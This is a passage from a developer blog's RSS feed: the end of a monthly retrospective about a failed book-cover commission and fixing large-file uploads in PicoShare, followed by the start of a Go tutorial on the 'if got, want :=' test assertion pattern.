&lt;p>As I reviewed the concepts, I realized what I cared about conveying was the idea of careful, deliberate work. I felt like Sample 6 of the zen garden and Sample 5 of the clay mold were on the right track, so I asked to explore those. I suggested an image of a sculptor carving stone.&lt;/p>
&lt;p>Another week went by, and Gary sent a minor variation on the zen garden idea. He also attempted the sculptor concept with an image showing a chisel with raw stone. But the photo was of stone that hadn&amp;rsquo;t been carved at all, so it wasn&amp;rsquo;t capturing the idea of careful work.&lt;/p>
&lt;p>The following week was Christmas, and I started to worry that the project wouldn&amp;rsquo;t complete by the December 30th finish date. Gary emailed me the Monday before Christmas to say he was returning to work on December 27th, so he was still on track.&lt;/p>
&lt;p>By the end of the day on the 27th, I hadn&amp;rsquo;t heard from Gary, and I realized I was in a bit of a pickle.&lt;/p>
&lt;p>It was 4 PM on a Friday for me in US Eastern Time, but Gary was in the UK, so his business day was long over. Reedsy was going to auto-bill me at noon Eastern Time on Monday. The last day Reedsy allows me to dispute a bill is 24 hours before it&amp;rsquo;s charged, so I had zero business days left to get completed work.&lt;/p>
&lt;p>I asked Reedsy&amp;rsquo;s customer support to push back my final payment a week, as Gary hadn&amp;rsquo;t delivered his work. Reedsy told me that I had to take it up with Gary. I explained that if I waited until the next business day to get a response from Gary, it would be too late to move the payment. Reedsy support insisted I try to resolve it with Gary anyway.&lt;/p>
&lt;p>I emailed Gary at 5 PM ET on Friday, and he responded that he didn&amp;rsquo;t work &amp;ldquo;corporate hours,&amp;rdquo; so he was still on track to finish the project by working the weekend. He pushed back my payment as a courtesy but seemed miffed that I&amp;rsquo;d complained to Reedsy.&lt;/p>
&lt;p>I, on the other hand, do try to stick to regular working hours and didn&amp;rsquo;t feel like spending my weekend with Gary rushing to finish this project. When I checked back on Monday, Gary had sent updates on the two concepts, but they were both pretty mediocre. One looked clearly AI-generated and unrealistic. The other was just not capturing the tone I asked for.&lt;/p>
&lt;p>I asked Gary whether the images were AI-generated and if they met the license requirements I&amp;rsquo;d specified in my brief. He got cagey at that point, so I asked to cancel the project. I offered him the £231 (US$287) I already paid if he&amp;rsquo;d allow me to cancel the final payment and terminate the project. He agreed, so that was that.&lt;/p>
&lt;p>I gave Gary a 3-star review across the board. I didn&amp;rsquo;t think he was awful, but just kinda meh and bad at communicating timelines. My review is public, but Reedsy still claims that Gary has a perfect 5.0 rating even though I gave him a 3.0, and he only has four other reviews.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/01/gary-reedsy-reviews.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/01/gary-reedsy-reviews_hu_55d5e8f9a19382de.webp 300w, https://mtlynch.io/retrospectives/2025/01/gary-reedsy-reviews_hu_a4181e647525c078.webp 600w, https://mtlynch.io/retrospectives/2025/01/gary-reedsy-reviews_hu_478450a049151e17.webp 800w, https://mtlynch.io/retrospectives/2025/01/gary-reedsy-reviews.webp 1049w'
 src="https://mtlynch.io/retrospectives/2025/01/gary-reedsy-reviews.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Despite me giving Gary a 3-star review, he still has a perfect 5.0 rating with five reviews.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="my-diy-book-cover">My DIY book cover&lt;/h3>
&lt;p>With Gary out of the picture, I decided to try making my own cover. I found &lt;a href="https://web.archive.org/web/20240630163155/https://unsplash.com/photos/shallow-focus-photo-gray-balance-stone-HWRAHxoBlpU">a royalty-free image on Unsplash&lt;/a> that captured the spirit of quiet, careful work, and I added some text.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 350px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/01/refactoring-english-cover-800px.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 350px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/01/refactoring-english-cover-800px_hu_7ffd87ec65d0eb47.webp 300w, https://mtlynch.io/retrospectives/2025/01/refactoring-english-cover-800px_hu_3e288e5b467925c8.webp 600w, https://mtlynch.io/retrospectives/2025/01/refactoring-english-cover-800px_hu_5983c9e259343e62.webp 800w, https://mtlynch.io/retrospectives/2025/01/refactoring-english-cover-800px.webp 800w'
 src="https://mtlynch.io/retrospectives/2025/01/refactoring-english-cover-800px.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I know it looks amateurish, but I&amp;rsquo;m about 80% as satisfied as I expected to be with Gary&amp;rsquo;s work. But this was free and took me an hour. I&amp;rsquo;m treating it as a placeholder. I can always hire someone or invest more time later.&lt;/p>
&lt;h2 id="side-projects">Side projects&lt;/h2>
&lt;h3 id="making-picoshare-work-with-large-files">Making PicoShare work with large files&lt;/h3>
&lt;p>&lt;a href="https://github.com/mtlynch/picoshare">PicoShare&lt;/a> is my minimalist, easy-to-host web app for sharing files over the Internet. I created it a few years ago, and I use it on a weekly basis.&lt;/p>
&lt;p>My minor shame about PicoShare is that it scales poorly for large files. On a VM with a shared CPU and 256 MB of RAM, PicoShare works great for files up to about 1 GB in size. If you try uploading files larger than 1 GB, PicoShare typically exhausts RAM and crashes. You can solve it by &lt;a href="https://github.com/mtlynch/picoshare/issues/355#issue-1488397399">throwing more hardware&lt;/a> at the problem, but it would be nice if PicoShare supported uploading arbitrarily large files.&lt;/p>
&lt;p>I&amp;rsquo;ve dug into the issue a few times, and my strong hunch is that this performance issue is because PicoShare stores all file data in SQLite. It&amp;rsquo;s an unusual choice, but it means that the SQLite data captures the app&amp;rsquo;s full state, including file data. So, I think what&amp;rsquo;s happening is that PicoShare tries to write a ton of data to SQLite, exhausts RAM, and dies.&lt;/p>
&lt;p>I&amp;rsquo;d been curious about using &lt;a href="https://www.sqlite.org/c3ref/blob_open.html">SQLite&amp;rsquo;s streaming I/O APIs&lt;/a>, as they seem like they should let me write to the database more efficiently. But I wrote PicoShare in Go, and the Go SQLite driver I was using didn&amp;rsquo;t support the streaming I/O APIs.&lt;/p>
&lt;p>Luckily, Nuno Cruces published &lt;a href="https://github.com/ncruces/go-sqlite3">a new SQLite driver for Go&lt;/a> that supports streaming I/O, and he &lt;a href="https://github.com/mtlynch/picoshare/pull/567#issuecomment-2330295660">offered to help me&lt;/a> port PicoShare to his library. I &lt;a href="https://github.com/ncruces/go-sqlite3/issues/148">worked with him&lt;/a> a little bit in September, and we made some progress, but we realized that even with streaming I/O, PicoShare still exhausts memory on large files.&lt;/p>
&lt;p>Nuno suggested that I might lower RAM consumption if I broke the files up and wrote them to SQLite in chunks. I actually &lt;a href="https://github.com/mtlynch/picoshare/blob/1.4.5/store/sqlite/file/writer.go">already do that&lt;/a> in my current implementation, but the different streaming I/O semantics meant I&amp;rsquo;d have to rewrite a lot of delicate code. So, I ran out of steam at that point and shelved the work.&lt;/p>
&lt;p>In December, I came back to the streaming I/O problem with fresh eyes. I realized the chunking problem was easier than I thought. PicoShare exhausted RAM when I wrote large files but not when I read them. So, I only had to reimplement the writing side of things with the more efficient streaming APIs.&lt;/p>
&lt;p>Writing files in chunks with streaming I/O turned out to be simpler than what I implemented with SQLite&amp;rsquo;s default APIs. I had initially thought the easiest thing to do would be to abstract the SQLite database with &lt;a href="https://github.com/mtlynch/picoshare/blob/1.4.5/store/sqlite/file/writer.go">an &lt;code>io.Writer&lt;/code> object&lt;/a> and let &lt;code>io.Copy&lt;/code> dump the data in. But on this go-around, I realized it&amp;rsquo;s easier if I &lt;a href="https://github.com/mtlynch/picoshare/blob/af05ce01eee7d26acb1247fd6878f97c426893ba/store/sqlite/entries.go#L221-L257">do all the writes directly&lt;/a> without bothering with &lt;code>io.Copy&lt;/code>.&lt;/p>
&lt;p>The streaming I/O version has been stable in my limited testing, but I still need to test more extensively. The obstacle there is that my home upload speeds are pitiful, so I&amp;rsquo;ve been working on a way to get a desktop OS running on fly.io that I can access remotely via VNC.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Published &lt;a href="https://refactoringenglish.com/chapters/rules-for-software-tutorials/">&amp;ldquo;Rules for Writing Software Tutorials&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>Published &lt;a href="https://mtlynch.io/if-got-want-improve-go-tests/">&amp;ldquo;if got, want: A Simple Way to Write Better Go Tests&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>Set up my new NixOS system and haven&amp;rsquo;t used Windows at all in the last month.&lt;/li>
&lt;li>Set up &lt;a href="https://www.offlineimap.org/">offlineimap&lt;/a> to keep a local copy of my email, and I back it up with daily snapshots.&lt;/li>
&lt;li>Made &lt;a href="https://github.com/0x2E/fusion/pulls?q=is%3Apr+is%3Aclosed+author%3Amtlynch">a few contributions&lt;/a> to &lt;a href="https://github.com/0x2E/fusion">fusion&lt;/a>, an open-source RSS reader I like (built with Go and SQLite).&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Takeaways for hiring a graphic designer
&lt;ul>
&lt;li>Consider doing a DIY placeholder version before hiring a professional.&lt;/li>
&lt;li>Tie payments to project milestones, not dates.&lt;/li>
&lt;li>Be explicit about whether you&amp;rsquo;re okay with the designer using AI-generated images or AI-assisted image compositing.&lt;/li>
&lt;li>Be explicit about needing to see license information for third-party assets like photos or fonts.
&lt;ul>
&lt;li>I had said in the brief that all the assets needed to have compatible licenses.&lt;/li>
&lt;li>It would have been better to say the contractor had to deliver the license information and not just pinky promise that they&amp;rsquo;re providing an asset in compliance with its license.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Don&amp;rsquo;t plan a project that&amp;rsquo;s supposed to end right after Christmas.&lt;/li>
&lt;li>Reedsy biases the experience heavily to favor contractors rather than its clients.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Publish my 2024 &lt;a href="https://mtlynch.io/tags/annual-review/">annual review&lt;/a> blog post.&lt;/li>
&lt;li>Finish another chapter of my book.&lt;/li>
&lt;li>Revise my tutorials chapter based on reader feedback.&lt;/li>
&lt;/ul>
&lt;h3 id="requests-for-help">Requests for help&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="#how-do-i-keep-finding-readers-to-give-feedback">Reach out&lt;/a> if you&amp;rsquo;re interested in hiring me to help you with your writing.&lt;/li>
&lt;/ul></content:encoded></item><item><title>if got, want: A Simple Way to Write Better Go Tests</title><link>https://mtlynch.io/if-got-want-improve-go-tests/</link><pubDate>Wed, 08 Jan 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/if-got-want-improve-go-tests/</guid><description>&lt;p>There&amp;rsquo;s an excellent Go testing pattern that too few people know. I can teach it to you in 30 seconds.&lt;/p>
&lt;p>Instead of writing Go tests like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// The common, unrefined way.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>username := &lt;span style="color:#447fcf">GetUser&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> username != &lt;span style="color:#ed9d13">&amp;#34;dummyUser&amp;#34;&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> t.&lt;span style="color:#447fcf">Errorf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;unexpected username: got %s, want: %s&amp;#34;&lt;/span>, username, &lt;span style="color:#ed9d13">&amp;#34;dummyUser&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Write your tests like this, beginning each assertion with &lt;code>if got, want :=&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// The underused, elegant way.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> got, want := &lt;span style="color:#447fcf">GetUser&lt;/span>(), &lt;span style="color:#ed9d13">&amp;#34;dummyUser&amp;#34;&lt;/span>; got != want {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> t.&lt;span style="color:#447fcf">Errorf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;username=%s, want=%s&amp;#34;&lt;/span>, got, want)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The &lt;code>if got, want :=&lt;/code>: pattern works even better in &lt;a href="https://go.dev/wiki/TableDrivenTests">table-driven tests&lt;/a>. Here&amp;rsquo;s an example from &lt;a href="https://github.com/mtlynch/social-go/blob/5348ed8e66e318651c646aea4d72ef62481c30fa/twitter_test.go">my library for parsing social media handles&lt;/a>:&lt;/p></description><content:encoded>&lt;p>There&amp;rsquo;s an excellent Go testing pattern that too few people know. I can teach it to you in 30 seconds.&lt;/p>
&lt;p>Instead of writing Go tests like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// The common, unrefined way.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>username := &lt;span style="color:#447fcf">GetUser&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> username != &lt;span style="color:#ed9d13">&amp;#34;dummyUser&amp;#34;&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> t.&lt;span style="color:#447fcf">Errorf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;unexpected username: got %s, want: %s&amp;#34;&lt;/span>, username, &lt;span style="color:#ed9d13">&amp;#34;dummyUser&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Write your tests like this, beginning each assertion with &lt;code>if got, want :=&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// The underused, elegant way.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> got, want := &lt;span style="color:#447fcf">GetUser&lt;/span>(), &lt;span style="color:#ed9d13">&amp;#34;dummyUser&amp;#34;&lt;/span>; got != want {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> t.&lt;span style="color:#447fcf">Errorf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;username=%s, want=%s&amp;#34;&lt;/span>, got, want)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The &lt;code>if got, want :=&lt;/code>: pattern works even better in &lt;a href="https://go.dev/wiki/TableDrivenTests">table-driven tests&lt;/a>. Here&amp;rsquo;s an example from &lt;a href="https://github.com/mtlynch/social-go/blob/5348ed8e66e318651c646aea4d72ef62481c30fa/twitter_test.go">my library for parsing social media handles&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">func&lt;/span> &lt;span style="color:#447fcf">TestParseTwitterHandle&lt;/span>(t *testing.T) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> _, tt := &lt;span style="color:#6ab825;font-weight:bold">range&lt;/span> []&lt;span style="color:#6ab825;font-weight:bold">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> explanation &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> input &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> handleExpected social.TwitterHandle
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> errExpected &lt;span style="color:#6ab825;font-weight:bold">error&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;regular handle on its own is valid&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;jerry&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> social.&lt;span style="color:#447fcf">TwitterHandle&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;jerry&amp;#34;&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;regular handle in URL is valid&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;https://twitter.com/jerry&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> social.&lt;span style="color:#447fcf">TwitterHandle&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;jerry&amp;#34;&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;handle with exactly 15 characters is valid&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;https://twitter.com/&amp;#34;&lt;/span> + strings.&lt;span style="color:#447fcf">Repeat&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;A&amp;#34;&lt;/span>, &lt;span style="color:#3677a9">15&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> social.&lt;span style="color:#447fcf">TwitterHandle&lt;/span>(strings.&lt;span style="color:#447fcf">Repeat&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;A&amp;#34;&lt;/span>, &lt;span style="color:#3677a9">15&lt;/span>)),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;handle with more than 15 characters is invalid&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;https://twitter.com/&amp;#34;&lt;/span> + strings.&lt;span style="color:#447fcf">Repeat&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;A&amp;#34;&lt;/span>, &lt;span style="color:#3677a9">16&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> social.&lt;span style="color:#447fcf">TwitterHandle&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> social.ErrInvalidTwitterHandle,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> t.&lt;span style="color:#447fcf">Run&lt;/span>(fmt.&lt;span style="color:#447fcf">Sprintf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;%s [%s]&amp;#34;&lt;/span>, tt.explanation, tt.input), &lt;span style="color:#6ab825;font-weight:bold">func&lt;/span>(t *testing.T) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> handle, err := social.&lt;span style="color:#447fcf">ParseTwitterHandle&lt;/span>(tt.input)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> got, want := err, tt.errExpected; got != want {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> t.&lt;span style="color:#447fcf">Fatalf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;err=%v, want=%v&amp;#34;&lt;/span>, got, want)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> got, want := handle, tt.handleExpected; got != want {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> t.&lt;span style="color:#447fcf">Errorf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;handle=%v, want=%v&amp;#34;&lt;/span>, got, want)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="how-does-this-pattern-work">How does this pattern work?&lt;/h2>
&lt;p>Simple &lt;code>if&lt;/code> statements in Go evaluate a boolean expression:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// A simple if statement that evaluates a boolean expression.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> volume &amp;gt; maxVolume {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> volume = maxVolume
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Go offers &lt;a href="https://go.dev/ref/spec#If_statements">a second type of &lt;code>if&lt;/code>&lt;/a> where you can execute a statement before evaluating the boolean expression:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// Execute a statement before evaluating the boolean expression.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> volume := &lt;span style="color:#447fcf">getRequestedVolume&lt;/span>(); volume &amp;gt; maxVolume {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">panic&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;requested volume is too high&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The neat trick is that you can declare and assign multiple variables within an &lt;code>if&lt;/code> statement:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// Declare and assign multiple variables within if statement.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> a, b, c := &lt;span style="color:#447fcf">nextScore&lt;/span>(), &lt;span style="color:#447fcf">nextScore&lt;/span>(), &lt;span style="color:#447fcf">nextScore&lt;/span>(); a + b + c == &lt;span style="color:#3677a9">300&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> fmt.&lt;span style="color:#447fcf">Println&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;Congratulations! You got a perfect score!&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Variables that you declare within the scope of the &lt;code>if&lt;/code> statement only exist within the &lt;code>if&lt;/code> statement. That&amp;rsquo;s why you can reuse the variable names &lt;code>got&lt;/code> and &lt;code>want&lt;/code> in all of your assertions without causing naming conflicts.&lt;/p>
&lt;p>In fact, if you try to access &lt;code>got&lt;/code> or &lt;code>want&lt;/code> outside of an &lt;code>if&lt;/code> statement, the Go compiler will tell you that the variable doesn&amp;rsquo;t exist:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// got and want are only available within the if statement.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> got, want := &lt;span style="color:#447fcf">GetUser&lt;/span>(), &lt;span style="color:#ed9d13">&amp;#34;dummyUser&amp;#34;&lt;/span>; got != want {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> t.&lt;span style="color:#447fcf">Errorf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;username=%s, want=%s&amp;#34;&lt;/span>, got, want)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>log.&lt;span style="color:#447fcf">Printf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;username was %s&amp;#34;&lt;/span>, got) &lt;span style="color:#999;font-style:italic">// This won&amp;#39;t compile&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="whats-so-great-about-this-technique">What&amp;rsquo;s so great about this technique?&lt;/h2>
&lt;h3 id="it-trains-your-eye-to-find-important-information">It trains your eye to find important information&lt;/h3>
&lt;p>Go code tends to be verbose, especially in tests.&lt;/p>
&lt;p>Consider the following test snippet:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>users := &lt;span style="color:#447fcf">GetAllUsers&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> &lt;span style="color:#24909d">len&lt;/span>(users) != &lt;span style="color:#3677a9">1&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> t.&lt;span style="color:#447fcf">Fatalf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;expected only a single user, got %d&amp;#34;&lt;/span>, &lt;span style="color:#24909d">len&lt;/span>(users))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> users[&lt;span style="color:#3677a9">0&lt;/span>].username != adminUsername {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> t.&lt;span style="color:#447fcf">Errorf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;unexpected username: got %s, want: %s&amp;#34;&lt;/span>, users[&lt;span style="color:#3677a9">0&lt;/span>].username, adminUsername)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>At a glance, is it obvious which values I expect and which are the values that &lt;code>GetAllUsers&lt;/code> returned? Not to me.&lt;/p>
&lt;p>If I rewrite the above snippet using the &lt;code>if got, want :=&lt;/code> pattern, the ambiguity goes away:&lt;/p>
